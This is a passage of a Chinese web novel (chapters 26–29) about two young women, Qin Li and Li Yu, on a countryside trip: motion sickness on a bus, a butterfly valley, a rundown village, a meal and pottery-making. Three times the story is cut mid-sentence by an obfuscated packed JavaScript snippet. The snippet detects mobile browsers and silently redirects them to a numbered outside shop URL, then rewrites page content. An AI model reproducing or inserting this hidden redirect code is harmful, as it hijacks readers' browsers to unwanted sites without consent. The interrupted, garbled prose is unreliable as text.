“我想和你多呆会嘛。哎呀,蚊子这种生物什么时候才可以灭亡。” 秦离抓了抓小腿,习惯性用指甲在被咬的包上掐了个十字。黎羽便也帮她掐了几个。 “走吧,我们回去。” 这时,城里的灯也熄了不少。 “好哦。” 又回到了那个小房子,秦离已经熟门熟路了,好像她已经和黎羽一起在这里住了很久。 这次,她坚持着,由黎羽口说着,自己去调了热水器。 热水依旧很烫,洗完出来身上皮肤都红通通的,还带着小块的红痕。每次秦离洗完澡,身上就会这样,她也不知道为什么。 腿上蚊子包稍微消了点,但仍有痒意。花露水没什么作用,黎羽翻出了清凉油,一点点抹在她身上每个被咬的位置。 小腿,腿弯,大腿,手臂,手肘,手背…… 每点一下,都让热意更加强烈。 涂完后,黎羽去洗了手,带着柠檬味的香气回来。秦离乖乖坐在床上等她。 柠檬味的阿羽,将秦离揽在怀里。两人面对面,紧紧相拥着,一起入睡。 明天,后天,依旧是秦离和黎羽。 依旧是小乖和阿羽。 依旧是,我和你。 26. Chapter 26 第二天依旧是个艳阳天。 “今天我们去哪里?” 秦离今天换了条柑蓝色的小裙子,配了个小提琴样式的心型包。这条lo裙在她的收藏里算是比较日常的一条,将她的皮肤衬得很白。 黎羽依旧是深色的长袖长裤,秦离知道她心中仍有郁结,但没找到机会再提。 “去朔城吧。” “好耶^0^” 朔城在柳城隔壁,稍微远点,不方便再骑机车,黎羽带秦离上了城际大巴。两人不确定要去多久,将秦离的小箱子也带上了,装上衣物和些随行物品,黎羽放了花露水和清凉油。 车上坐满了人,大多是些年轻模样的学生,还有三四个带着孩子的家庭。车里环境还不错,没有奇怪的味道,没有刺耳的噪音,司机阿姨的车也开得很稳。 “会晕车吗?”黎羽挑了个靠前的位置,但还是有些担心。 “应该还好吧,我也不像小时候那么容易晕车啦。”秦离倒是自信满满,“哎,早知道我就早点把驾照拿了,该死的科目二,驾校的破捷达也太容易熄火了吧。” 黎羽摸摸她的头:“下次吧,等你拿了驾照,我们下次就开车出来玩。” “好呀,下次换我带你兜风啦。” “好。” 两人后面坐着两个年龄更小的女孩,或许还在读高中,听口音大概是柳城本地人,结伴出去玩,不知道有没有大人带着。 靠窗坐着的是个个子小小,看着很乖的女孩,眉间有些忧愁,说话声音不大:“姐姐,你们是大学生吗?” “对呢,”对陌生人的搭话,秦离回应得很自然,“你和同学一起出来玩?” “嗯,”女孩看看旁边外形更高冷点的女孩,表情有些羞涩,“小颖说,我们一起去朔城。” 两个女孩背着鼓鼓的包,一直牵着手,叫小颖的高冷女孩没有插话,目光一直落在说话女孩身上。 两人简单聊了会天,女孩好奇地问了许多大学生活的事,秦离倒是乐意分享。 聊着聊着,她察觉到,两人身上有微妙特别的气场,正唾弃自己姬眼看人姬时,女孩隐晦地询问:“姐姐,你们……是一起的吗?” “嗯?”秦离一下子还没反应过来,倒是黎羽揽过她,朝女孩点了点头。 女孩的眼睛更亮了,凑到小颖耳边小声嘀咕:“她们跟我们一样……” “真好啊,小颖,我们干脆去梦城吧……” 后来,她们没有再聊太多。叫小颖的女孩显然防备心更强,在女孩要说出自己私人信息时拉住了她。见此,秦离便没有再多问了。 她坐在前排和黎羽咬耳朵:“那两个小妹妹也是一对?” 黎羽点头。 “哇,原来不是我姬眼看人姬。青春靓丽的年龄,真好啊~” 黎羽倒是看出来更多,心中叹气,但见秦离兴致勃勃的样子,没有说出来扫兴。 各人自扫门前雪吧。 秦离靠在黎羽身上,望着窗外的景色。 柳城的山和南城那边连绵不绝的山脉有所不同,基本都不很高,全是独立的一座座,平地而起,在平原上显得很突兀,围成一圈将柳城包在里面。 秦离戳了戳窗户,感叹:“这也太奇怪了,那种很长的山脉应该是地壳运动形成的,这种这么小,鼓起来像包一样的山是怎么来的?” 黎羽没想过这个问题。 秦离又开始奇思妙想了,小声道:“说真的我觉得这山越看越像我们老家的坟包,一堆堆单独放着。这么来说,会不会史前时代,这里生活的全是巨人或者巨兽,她们死后尸体被掩埋,慢慢就变成了山。” 被秦离这么一说,想象着柳城周围一圈全是不知道什么东西的坟包,天空也好像变矮了,倒是有些巨物恐惧症了。 车子吭嗤吭嗤往前冲着,差不多走了快一半的路程了。后半段路况不太好,水泥路上缝缝补补,这里凸起一块,那边凹下一截,车身开始颠簸。 秦离的胃也随着翻山倒海,她脸色开始发白。 黎羽敏锐察觉到,担忧道:“晕车了吗?” 秦离趴在她怀里,勉力笑着:“真不能夸啊,我还以为现在已经不会晕了呢。” 黎羽给她喂了颗酸梅糖,勉强压了压,但是半个多小时的车程,很快秦离的反应就更明显了。 “塑料袋……” 她胃里反酸,抓着袋子一阵狂吐,之前吃的什么都全部吐了出来。她自觉难看,但实在忍不住,只能背过身面对窗,不想被黎羽看见。 黎羽发现她的心思,有些哭笑不得:“别躲了,别等会撞到头。” 她手上备着纸巾和水,轻拍着秦离的背给她顺气。 “吐吧,吐出来会好受些,再撑一撑,很快我们就到了。” 但秦离呕得越来越厉害了,到后面胃里的东西已经吐得一干二净,只有些粘稠的不知道是胃液还是什么东西翻涌上来。 黎羽没见过这么大的阵仗,眉头紧皱着:“小乖……” “不行了……下车……我要下车!” 离目的地还有些距离,但秦离实在受不住了。黎羽叫停了车,拿着行李,扶着秦离下车。她不想耽误一车人的行程,谢绝了司机阿姨说等她们的好意,收下后排小孩们送的糖和水后,陪着秦离呆在原地。 秦离蹲在地上,胃里依旧反酸,但已经吐不出来什么东西了,就好像五脏六腑都已经被吐干净了。她一副奄奄一息的样子,往田里挪了两步,闻着泥土和青草的味道,才好受了些。 “还好吗?要不我们回去看医生吧。” 秦离有气无力地摆摆手:“算了,回去还要坐车,我现在是坐不了一点。” 黎羽望望周围,远处好像有些房子:“附近应该有村子,我去找找有没有乡下卫生所。” “别……你别走……让我缓缓就好……” 于是,黎羽没再说话,就站在她旁边,高大的身影为她挡去刺眼的阳光。 秦离就这么抱着膝盖蹲着,手上无意识揪着地上的草,不知道过去了多久,感觉身上力气慢慢恢复,内脏也好像重新长了出来,才觉得自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370156|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己活了。 “真是……好多年没这么吐过了……”秦离晃悠悠站起来,声音还有点虚,轻咳了两声。 黎羽急忙扶住她,仍有点不放心:“是不是感冒了?” “哪那么容易感冒啦~”秦离是觉得自己好多了。 她又喝了点水,打理了下自己,有点羞赧。 “我刚才的样子太难看了,忘掉,都忘掉!”她虚张声势地盯着黎羽,有些紧张。 谁想在心上人面前表现得狼狈不堪呢。 黎羽在她的脑袋瓜上轻轻敲了个板栗:“还有功夫胡思乱想呢,你……没事就好。” 见黎羽确实没有嫌弃,秦离又笑了,心里甜甜的。 这时,她才有精力打量周围。 这地方算不上太偏,远处还能看见村落,但周围都是农田,乡下的不能再乡下了。两人不管是往前还是往后,还是得找辆车,要么就附近找个地方歇着。 黎羽脑子里还在思考着怎么安排最合适,秦离倒是很无所谓。她指着远处那块牌子:“哇,前面有个地方叫桃花源耶,我们去看看吧。” 那是个标注为旅游点的红色牌子,但是破破烂烂的,字已经褪色了,箭头都模糊不清,也亏得秦离还能看得清。 黎羽从没听过朔城附近有什么叫桃花源的景点,但见秦离终于打起精神,想想,算了。 就当陪她散散步,呼吸呼吸新鲜空气吧。 要是那地方不行,再说离开的事。 主路上的车流量不小,多是往返于柳城和朔城之间的客车。两人顺着走了一段,在三岔路口向右,便逐渐偏离主道了。 汽车的声音远离,山林间的虫鸣鸟叫开始变得明显,头顶交错的繁茂枝叶遮去了大部分毒辣的阳光,带来丝丝凉意。 “蹦,蹦,蹦,啦,啦啦啦啦,啦啦啦啦,啦啦啦啦,蹦,蹦,蹦……” 秦离的心情好些了,嘴里又哼着歌。她牵着黎羽的手,脚步轻盈,带着点蹦蹦跳跳的味道。 “前方五十米右转,请靠右行走,注意不要掉到沟里~” 秦离版人工导航启动,她指引向前。 看她这么欢乐,黎羽脸上也挂上了笑意:“这么开心?” “当然啦~”秦离拉着她的手晃了晃,“因为是和你在一起啊。只有我们两个人,再没有别的任何人了。” “就像……我们把全——世界都抛下了一样。” 她的眼神灵动,全部映在黎羽的眼眸里,让她的心也变得柔软。 或许,偶尔这样前往未知的去处也不错。 突然,秦离眼睛一亮,拉着黎羽跑动起来。 她们迎着风向前奔跑,转过这个弯,是一片山谷,山谷里百花开着,姹紫嫣红。百花中,是纷飞的蝴蝶,翩翩起舞。 “天……” 秦离感叹着,黎羽也被这片美景惊艳到。两人的手握得很紧,不自觉向前走着,踏上花丛中的泥泞小道,无数的蝴蝶挥翅从她们身旁飞过,不知去往何方。 这样的场景,就和秦离梦里的一样。 27. Chapter 27 两人坐在山坡上,欣赏这片世俗之外的美景。山谷里的蝴蝶一点也不怕人,大胆地在两人周围绕着圈地飞。秦离试探着伸出手,有一只带着暗黄色花纹的斑斓巨蝶直接落在她的手指上,翅膀缓缓颤动着。 “真神奇。”秦离感叹着,另一只手轻轻触碰它的翅翼。巨蝶好像知道她不会伤害它,任由她摸着,几息后才展翅离开。 “刚刚我们也是体会了一把香妃的感觉,哈哈~”秦离笑着,声音清脆,像林间的雀鸟。 黎羽也是前所未有地放松,这一刻只有山谷、百花、蝴蝶和秦离,过往二十一年来的痛苦和内耗都不复存在。 天地万物自由,秦离又唱起了歌。 “爱原来是这么个模样 近在眼前却不一定能够一眼看穿 过往四处探访却总是徒劳而返 只一秒你就轻易地攻入我心上 …… 你怎么知道我还等待情感 当所有人以为我喜欢孤单 是你敲我的门再把我点亮”① “你是我心中一句惊叹。”①黎羽看着她,念出了下一句歌词。 四周应景着,是依旧翩然的蝴蝶,像是簇拥着两人,不知疲倦地起舞着,带着花香。 秦离惊喜地望了回去:“你也听过这首歌?” “好像是《梁祝》的歌吧,有点印象。” 这首歌并不热门,秦离为黎羽同样听过而感到欣喜,真是心有灵犀一点通。她兴奋地向黎羽科普:“这是动画《梁祝》里的歌啊,萧亚轩唱的。我小时候超喜欢她~动画版很好看,就是有亿——点点虐呜呜……里面梁山伯是萧亚轩配音的,祝英台是刘若英配音的,她俩真配啊~” 说到喜欢的东西,秦离就有些停不下来了。她又讲到小时候学梁祝的小提琴协奏曲的故事,二十六分钟的曲子,左手都要举麻了,但每个篇章对应每个阶段的故事,真的听一千遍一万遍也爱。 激动起来,秦离的话总是很多,从这个话题跳到那个话题,眼里像是闪着星星。她一会靠在黎羽肩上,一会突然站起来,围着她转圈,就像蝴蝶,给她比划自己在说的人和事。 黎羽喜欢看她这副神采奕奕的样子,笑着回应她说的每件事。 说累了,秦离又坐下,躺在黎羽的膝上,望着湛蓝无云的天空,还有天空之下唯一的身影。 黎羽低头看着她,逆着光,栗色短发显得更浅,映射出更加耀眼的色泽。她的脸颊、下颚、脖颈、锁骨、肩膀,每一处的线条都是如此分明,又是如此完美。 秦离忍不住伸手,轻轻触碰她的锁骨,指尖顺着微微战栗的皮肤表面向上滑动,从她滚动的喉头,到分明的下颚,柔软的嘴唇,出汗的鼻尖,舒展的眉心,到她的眉,她的眼。 黎羽的睫毛轻轻颤动着,眼睛顺着秦离的力道闭上。她握住秦离这只不安分的手,在她的手心吻了下,然后头越来越低,唇最终落在了百花丛中她最爱的,最娇嫩的这朵上。 两人交换着唇间的热度,这次,秦离终于逮着机会,小心翼翼地探出舌尖,在黎羽的唇上轻轻吮吸着,舔舐着,带着点试探和讨好的意味。她能感受到黎羽唇齿间流露出来的笑意。 黎羽纵容地微微张嘴,秦离的舌尖终于能探进她渴望已久的地方,与对方口腔里最柔软又最灵活的那处触碰着,起舞着。两人的津液互换着,不分你我,是微甜的味道,让人上瘾。 秦离依旧表现得很乖,感受到黎羽要起身的信号后,乖乖退了出来。她的心脏仍在快速地跳动着,由不得她半点控制。她将脸埋在黎羽腰上,呼出的每一口热气都让黎羽觉得微痒,但她没有躲开,由着秦离这样。 最后,还是秦离恋恋不舍地退开了,起身感慨道:“这里真好啊,我开始相信我们要去的地方真的是桃花源了。” 黎羽也开始有了期待。 “啊?什么?” 结果,两人又走了半个来小时,在外观破破烂烂,匾额上的字掉了一半,写着“兆化原”的村子门口,被个耳背的老太太给拦住了。 “兆化原”的大门紧闭,只在旁边开了个小铁门,还有个看门的老太太。老太太看着五十来岁,耳朵不好使,眼睛倒是挺尖,眼神也有点凶。她大老远就看见两人了,神情激动,两条腿走得快得很,上来叽里咕噜说了一堆,方言味又重,秦离是一个字没听懂,就知道她光拦着不让进了。 黎羽一开始也没听懂,直到看见老太太从背后掏了个顶部开了个口子的纸箱,朝两人晃了晃。 “……” 黎羽掏出一张百元大钞,扔进纸箱里。老太太瞬间喜笑颜开,打开铁门,说话口音都标准了:“客人,里面请!” “……” 秦离懂了,也无言以对。进门后,她扯了扯黎羽的袖子,小声嘀咕:“我们不会进了贼窝吧。” 黎羽余光瞥到墙上贴着的省级景区介绍词和游览图,给她指了指:“应该不会,估计就是有些荒凉,游客少,所以看见我们比较激动。” 秦离也看见了,心中稍安,安慰自己:“也是,毕竟好多景区都要靠门票吃饭呢。” …… 结果,在里面转了一圈,两人才发现,这里不是有点荒凉,是非常非常荒凉,也不是游客少,而是……整个村子除了她俩,就是老弱病残,根本没有一个游客啊! 这里不仅外面看上去破破烂烂的,里面也是残砖破瓦,与其说是古村,不如说只是个修了十来间破旧瓦屋的普通乡下村子罢了。除了村坝坝里聚在一起晒太阳的老人和打跳着的几岁小孩,没有什么人,更没有青壮年。秦离觉得老家随便哪个乡下的村子拉出来都比这里热闹景气。 “什么啊……” 秦离大失所望,之前还对桃花源颇为期待,现在看来,确实就是个“兆化原”而已。 哎,白费了这走了半个多小时的路,还有那一百块钱。 “咕噜——” 这时,秦离的肚子响了。她摸了摸肚子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370157|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 委屈巴巴。早上吃的东西在车上全吐光了,又走了半个多小时的路,这么一叫,她才发现饿得不行。哎,这破烂地方,估计也找不到什么餐馆。 黎羽也听到了,给她喂了根巧克力棒勉强垫垫底,道:“原路返回吧,在大路附近先找家店吃东西,我们再说去哪儿。” “好哦。”决策失误,又饿着肚子,秦离有些蔫巴巴的。 黎羽摸了摸她的头,安慰道:“没事,至少我们看到了百花谷和蝴蝶。” “嗯!”想到那片美景和那个让人回味的吻,秦离又打起些精神了。 村子的出口和入口不在一处,两人顺着破烂的指引牌朝另一个方向走着。往这边走,房子倒是稍微新些,也有几家提供餐饮,卖副食、五金等东西的店铺,但几乎都用一片片木板封着门,看着很冷清,秦离也懒得去敲门。 出口处依旧是一扇铁门。眼看着就要走到门口了,秦离的鼻子动了动,突然闻到了一股香味,是……炖鸡的味道。 她四处望了望,终于发现在拐角处有家店有半扇门是开着的,外面挂着三姐饭店的招牌,上面还有电话,看着倒比其他招牌新点。 这时,秦离的肚子又咕噜响了一声。 黎羽见她饿得厉害,问道:“要不我们过去看看?” “好哦。” 秦离倒是毫不客气,过去将另外半扇门也推开了,大声喊道:“老板,老板!有人在吗?” 很快,有人从后厨钻了出来,是个年轻的妇人,脸蛋红扑扑的,说话能听得懂:“来了来了,客人,是要吃点什么吗?” 听到这句正常的接待话,秦离简直感动地要流泪了。她问道:“有可以吃的?” “鸡、鸭、鹅,都是现杀,这里是菜单。” 菜单上许多看着都是多人吃的大份量,最终,秦离点了半只炖鸡,不太抱希望地想着,别太难吃就行,等她先填点肚子,才有力气走出去。 隔壁房间跟厨房这边是打通在一起的,水泥砌的桌子中间是灶,很矮,人就算堆在小木凳上,都高出桌面一截,很不方便。 “这下真成巨人了。”秦离苦中作乐打趣着。 “先等等看吧。”黎羽闻着这味道还挺香的。 没有过太久,妇人端着大铁锅上来了。半锅清水,刚好将鸡全部淹没,再就是放了点姜和生葱,其他没有了。妇人点燃了灶,又端来了两碗蘸碟。 “可以吃了。” “……好哦,谢谢。”秦离看着这锅简直反人类的清汤寡水,没有半根辣椒,完全提不起兴趣。 黎羽看她像朵枯萎的干花,缩在一起,没精打采,有些心疼。她先夹了块,吃进嘴里,眼睛一亮,给秦离也夹了块:“你尝一尝。” 秦离心不在焉地将小块鸡肉塞进嘴里,眼睛突然亮了。 “哇,好吃!” 她一下就来了精神,背也坐直了,端着碗开始认真炫菜。 门外,有两三只猫咪喵喵着蹿了进来。 28. Chapter 28 这锅炖鸡看着没加什么调料,但鲜嫩可口,把秦离进来时对这儿的不满全打消了。她吃得起劲,旁边蹲着的几只猫小声喵着提醒她,它们还馋着呢。 对此,秦离没什么反应。她自己勉强算狗派,小时候养过小土狗,还是糙养那种。她对猫不太了解,也不理解朋友们为什么沉迷猫咖,看见路边小猫就咪咪直叫,走不动路。 倒是黎羽看它们叫得可怜,道:“要不要喂点?猫咪能吃这个吗?” “猫也吃肉的吧,这个味道淡,应该没事。” 黎羽夹了小块鸡肉,去掉骨头,在白水里涮了涮,撕成一条条,拿在手上放低。 打头的黑猫胆子大得很,蹿过来一口咬下,三两下吞吃下肚,小舌头舔了舔,继续咪咪叫。 其他两只猫咪不甘示弱,也争先恐后挤了过来抢吃的。 这下黎羽忙着给猫大人们撕肉条,顾不上吃东西了。秦离索性夹了吃食,稍微吹冷了喂给她。 两人三猫这么动作着,倒是格外和谐。 这时,妇人端着拌好的小菜过来,见状笑道:“这几个小家伙又过来了?你们不用喂太多,它们天天在村子里打秋风,随时都吃得肚皮滚滚的。” “没事。”见黎羽喂得开心,眉目舒展,秦离也喂得开心,满足得很。 气氛正好。 这妇人精神气很足,主动提起:“最近我刚酿了些米酒,你们要不要尝尝?” “好呀好呀。”说起酒,秦离眼睛就亮起来了。 妇人抱了一坛子过来,给两人各倒了一大碗,自己也倒了一小杯,坐在门槛边上,摇着蒲扇,悠哉品着。 秦离尝了一口,甜滋滋的,像是饮料,很好喝。她喜欢这种味道,喝了不少,一杯接着一杯。 小猫怀疑她在喝什么好东西,凑了过去,一只爪子轻轻扒了下她的小腿。 秦离眼咕噜一转,故意使坏,将酒碗递到它嘴边:“来,尝尝呀。” 小猫猝不及防被酒气熏了一脸,整个脸皱在一起,尾巴一甩,唰地跑开了。 秦离哈哈大笑,把碗里剩下的酒全喝了。 “幼稚。”黎羽不赞成地摇摇头,脸上却全是笑意。 “逗逗它嘛,谁让它这么贪吃,回头变小醉猫。” “小醉猫呀,”黎羽支着下巴,看她已经吨吨喝了好几大碗了,“看看谁是小醉猫呢。” 有些米酒喝着没有一点感觉,但后劲足得很,出门迎风倒。 秦离对此不屑一顾:“哼。” 吃饱喝足后,两人出门。秦离确实没有醉,但有些上头,抓着黎羽的手,像只蝴蝶样飘过来,飘过去,嘴上还说个不停,一点不安分,兴奋得很。 黎羽也由着她,只看着路,护着她不撞到东西。 这会太阳已经过了最高点,向西边下沉着。两人走到出口的铁门,意外看见了进村时收钱的老太太。 老太太正搬了个藤椅,瘫在上面晒太阳呢。看见两人,她眼睛亮了,朝她们挥挥手。 秦离对她没什么好印象,拉着黎羽快步往前走着,假装没看见。 “阿妹,阿妹。” 这下倒是听得懂了。 老太太的脚步也很快,走过来刚好挡在了出口的铁门前。秦离以为她又要钱,面色不佳。 老太太像是看不懂脸色,依旧笑眯眯的样子:“阿妹,咋滴,要走了?” 喝了酒,秦离的脾气也表现得更直接了。她语气不佳:“这里没意思,都是些破房子。” 黎羽觉得这样说话不太妥,但讲也讲了,她不会当面拂秦离的面子,只是捏了捏她的手心,暗示她走了。 秦离也顺了她的意,准备往外走,但老太太不干了。她还是挡在两人面前,坚持道:“走,我带你们去河东。” “啊?” 秦离不想理她,但老太太动作倒挺快,一把将铁门锁上,推着她往回走,嘴上念道:“去河东,河东好玩哩。” 秦离第一反应:“收钱吗?” 老太太摆摆手:“不收哩,你们给过了,免费带你们坐车。” 她手上力气不小,秦离不敢和她硬对抗着,怕把老人整倒了。好吃好喝下肚,风吹着也挺舒服的,秦离看这地也没那么讨厌了,见老太太坚持,索性应了。 黎羽是怎么都行。 “这是……车?” 三人向南走了五十米,在空地上确实看见了一辆车,一辆……牛博基尼。 老太太点头,摸了摸黑牛的头:“大黑跑得老快哩。” 黑牛跟着哞了一声,蹄子在地上跺了跺,好像在赞同她。 “……” 最后,秦离和黎羽还是上了这辆牛博基尼。黑牛拉着双轮的小车,老太太坐在左边,秦离和黎羽挤在右边。 “坐稳了,走!” 她一声令下,黑牛撅起蹄子就是个冲刺,顺着稍微宽敞的道路往东跑着,秦离的身体依着惯性朝后仰,黎羽揽住她,将她护在自己怀里。 黑牛看着笨重,奔跑起来速度一点不慢。老太太指挥它顺着主路跑,呼啸的风带来野花和青草的味道。也亏得村子里没多少人,基本都集中在村坝子里逗留了,避免发生惨烈交通事故。 车很快驶出村子,跨越河上的小桥,朝着河东奔去。 秦离在车上顺着颠簸抖动着,一上一下,一上一下,连说话都断断续续。 “这……车……太……刺激……了……” 秦离觉得自己屁股都麻了。这车四周无壁,全开放式天窗,一个急转弯,感觉稍有不慎就会跌下去。 黎羽坐在靠外的位置,有时候颠得半边身体都出去了。秦离一只手抓着座位的边缘,另一只手抱着她的腰,也生怕她摔下去。 黎羽更怕她从前方滑下去,揽着她,严阵以待。 只有老太太依旧笑眯眯的,淡定得不行。她甚至站了起来,挥斥方遒,像是古时候指挥战车的将军。 河东的道宽上不少,黑牛又朝南边跑去,几分钟后停在了一片空地上,前方还有打好的木桩。 “阿妹,到哩。” 老太太下去,将绳索系在木桩上,停好车。秦离按了按狂跳的心脏,平复了会才和黎羽一起下了车。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370158|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这老太太真是老当益壮啊…… 秦离在心里感慨着。 黎羽恢复得更快,面上已经看不出刚才的凝重了。她只是有点担心秦离:“小乖,还好吗?”毕竟之前在大巴上她吐得那么厉害,坐这么狂野的车还了得。 秦离眨眨眼:“还好耶,其实,刺激得有点好玩。” 可能是因为全露天式,吹着风的原因,她并没有任何不适,这会回过神来,反倒有点意犹未尽。 “那就好。” “走哩。” 老太太背着手,阔步向前走着。秦离和黎羽跟在她身后。 前方是建筑群,有七八间红砖瓦屋聚在一起,跟河西的房子看着差不太多,但收拾得比较利索,挂了些招牌,看着像手工做的,上面写着陶坊、油坊、布坊、酒坊、豆坊之类的,最前面的草地上立了个更大的牌子,边缘很粗糙,手写着三个大字:非遗区。 秦离反应过来,这边才是打造出来的旅游区呢,看着还稍微像点样子,不过显然也荒废了不少,大多数牌子上都沾着灰尘,看着也没什么人的样子。 “秀兰!” 老太太惊天一声喊,把秦离吓了一跳。 “来了!” 很快,最靠里的红房子里跑出个大个子女孩,穿着围裙,灰头土脸的,脸上的表情看着有点傻。她跑到老太太面前,用围裙擦了擦手,嘿嘿笑着:“村长,您怎么过来了?” 秦离侧目,没想到这老太太居然还是村长呢。 老太太将大个子拉到两人面前:“这是今天到我们村的客人,你好好招待她们。” 大个子心直口快:“啊,我们村这破砖烂瓦的现在还有客人来啊?” 老太太猛敲她脑门心,看上去手劲不小。大个子摸了摸脑壳上的红印子,不敢说了。 “总之,你带她们在非遗区好好玩一玩。”说完,她朝秦离和黎轻语笑眯眯挥挥手,又踏上牛博基尼,风风火火地离开了。 两人站在大牌子前和大个子面面相觑。她还在揉额头,吞吐着开口:“额,其实我也不知道你们怎么找到这里来的,我们都好久没接待过游客了。” “……” 秦离心想,看出来了,这是半点准备都没有啊! 大个子问道:“你们想玩什么?” “……” 这时,黎羽开口了:“我看这里也分了不同的体验区,有哪些还开着的?” “额……其实现在这里平时只有我一个人在了。” “……” “……” 三个人沉默了。 大个子又搓了搓手,回头望了望她跑出来的房子,犹疑道:“要不……你们看我烧窑?” “咦?”秦离眼睛亮了,“你这里还能烧窑吗?”听上去好厉害。 大个子点头,还在频频回望:“事实上,我现在正烧着……” 秦离兴趣上来了。她拉拉黎羽的手臂:“我还没见过这个呢,去看看吧~” 黎羽点头,她也没见过,有点好奇。 这时,远处的房子突然传来“嘭”的一声。 29. Chapter 29 窑塌了。 里面正在烧的陶器炸开,窑也塌了一侧,还好没完全坏。而且土窑搞搞还能搭,没出事就行。 秦离看秀兰从里面扒拉出些瓶瓶罐罐,土黄土黄的,没涂任何颜色和花纹,看上去很粗糙。她好奇问道:“你这做来干什么的?” 秀兰挠挠头:“本来村长说做些工艺品卖给游客,不过……” 这…… 秦离心想,就这手艺,别说卖了,就是免费送,都不一定有人要呢。 秀兰也心知肚明,笑得嘿嘿的:“不过村里大家伙还挺喜欢用这个的,说方便。最近三姑家的米缸裂开了,好几个小孩也缺个杯子喝水,我就说烧些来用。” 自家用,不讲究,丑就丑点。 这时,黎羽手机响了。她看到来电显示,按掉了铃声,没直接接。等电话断了,她才向秦离示意:“我出去回个电话。” “嗯嗯,你去吧。”秦离正对烧窑的事好奇着呢,没注意到黎羽隐藏起来的情绪。 自己做碗和杯子自己用,听上去还挺有纪念价值的耶。秦离有些跃跃欲试:“那我想做个花瓶,难吗?” “难倒是不难,我这儿还有陶土,捏个花瓶胚子出来就行。就是要等水分完全干透,还要入窑烤,而且我还得修窑呢,估计怎么也要个五六天吧。” “诶,这么久啊……” 秦离还以为最多一天就行,有些犹豫。 秀兰有点不好意思:“而且我技术太差了,都是自己摸索着来的。” “我想想啊。”秦离想着,等黎羽回来,问问她。 秦离还是没打算在这里呆太久。这时,黎羽打完电话进来了。 盛夏时分,她身上却萦绕着潮湿阴冷的感觉。 这次,秦离敏锐察觉到她心情不好,低声问道:“阿羽,你怎么了?” 黎羽脸上撑起个笑容,摇摇头:“没事,一点公司那边的小事,就是有点烦人。” “哎,明明放假了嘛。”秦离嘀咕着,但分得清轻重缓急,知道创业公司没有假期,“那你在这里能处理吗,还是得走?” 黎羽摸了摸她的头,手指在她丝绸般乌黑柔顺的长发上流连着:“刚刚已经和她说过了,不急,有其她人在,我之后再处理。” “好哦。”见黎羽这么说,秦离觉得这件事搞定了,便不再多问。 但黎羽的情绪显然已经被干扰了。秦离心中思量,改变了主意:“阿羽,秀兰姐说可以教我们做陶器,我们一起做个花瓶吧。” “好。”黎羽将她的长发别在耳后,手指为梳,梳到了发尾。 秦离的耳朵动了动。她摸了摸耳垂,嘴角扬起了弧度。 捏陶说起来很简单,就是玩泥巴。两人坐在专门的设备那里,一人控制转台速度,一人给陶土慢慢塑型。 一开始秦离是捏形状的那个,但她实在手残,总是在拉高瓶壁的过程中断掉,又得打回重来。 “好难哦。”秦离蔫趴趴的,手上和脸上都是泥。 黎羽点掉她鼻尖最醒目的那点泥,神情柔和了些:“我来吧。” “那我来给你踩转台!”秦离又打起精神了。 这脚踏板跟踩钢琴和缝纫机一样,好玩~ 她脚上踏着,跟踩节拍器一样,嘴里哼着歌,不知不觉速度越来越快。 “小乖……”黎羽握着形状开始变得奇怪的胚子,无奈开口。 “嗯……嗯?” “别踩那么快,我跟不上的。” “噢噢,嘿嘿我没注意嘛。” 秦离坚持参与其中,硬生生将本来半个小时的工作量拉到了一个多小时。最后胚子成型了,是个高挑纤细的锥桶型花瓶,看着有模有样的。 秀兰检查了番,夸道:“不错啊,你们第一次就能做到这个样子,比我厉害多了。等晾个三四天,里面的水分干透,就能进窑了。” 秦离还有点小小的不甘心,趁着黎羽将花瓶送到外面的晾干区,询问秀兰后续事情时,在转台这偷偷摸摸再尝试。 陶土歪歪扭扭地长高着,壁很厚。怕它断掉,秦离也不敢捏太高太薄。 等黎羽回来,看见的就是一个胖胖的小胚子。秦离正想毁了它,黎羽忙拦住她:“这是什么呢?” 秦离支支吾吾:“别管啦。” 黎羽俯下身环住秦离,双手覆在她的手背上,带动着她给小胖胚子做最后的定型,让弧度变得圆润,最后成形,是个肚子圆滚滚的小花瓶,巴掌大小。 她笑着,呼吸打在秦离的耳后,秦离的耳朵敏感地泛起了红色。 “这样不是也很可爱吗。”她手上有朵不知从哪里摘的野菊花,插在粗糙的小花瓶里,花瓣在瓶口绽放,刚好合适。 秦离的心上也开满了小花。 黎羽的脸近在咫尺,秦离转头,能看见她耳下的痣和线条分明的下颚线。秦离顺应心中的冲动凑过去,吻在她的唇角。 黎羽转头,鼻尖蹭着鼻尖,与她唇舌相依,心中的爱和柔软的触感让人恨不得将对方吞吃下肚。 野花迎风招展,在两人的手掌之上绽放。 